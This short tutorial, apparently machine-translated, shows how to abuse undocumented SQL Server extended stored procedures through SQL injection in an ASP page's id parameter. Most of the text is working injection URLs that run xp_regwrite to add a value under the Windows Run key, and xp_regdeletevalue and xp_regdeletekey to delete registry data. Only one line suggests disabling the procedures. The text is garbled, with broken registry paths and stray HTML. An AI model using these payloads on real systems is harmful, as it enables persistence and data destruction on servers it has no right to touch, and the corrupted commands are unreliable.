Several unpublished extended stored procedure injection in SQL Server

Several unpublished extended stored procedure injection in SQL Server
SQL Server contains several extended stored procedures that can access the system registry. However, these extended stored procedures are not made public, and they have been available since SQL server 7.0,
They are retained in SQL server 2000 and may be deleted later. However, these stored procedures provide the ability to access the system registry in the current SQL Server version,
In addition, many people often use these extended stored procedures when using SQL Server to attack the system, so it is best to disable them in SQL Server.
Asp? Id = 165 "> http: // 127.0.0.1/view. asp? Id = 165
If SQL injection of mssql exists
Xp_regwrite write to the Registry
Usage:
Xp_regwrite Root Key, subkey, Value Name, value type, Value
Http: // 127.0.0.1/view. asp? Id = 165; exec master. dbo. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftWindowsCurrentVersionun, TestValueName, reg_sz, hello
Note that there are two value types: REG_SZ and REG_DWORD.

Xp_regdeletevalue delete a value
Usage:
Xp_regdeletevalue Root Key, subkey, Value Name
Http: // 127.0.0.1/view. asp? Id = 165; exec master. xp_regdeletevalue HKEY_LOCAL_MACHINE, softwaremicrosoftwindowscur1_version, TestValueName

Xp_regdeletekey: delete key, including all values under this key

Usage:
Http: // 127.0.0.1/view. asp? Id = 165; exec master. xp_regdeletekey HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftWindowsCurrentVersionTestkey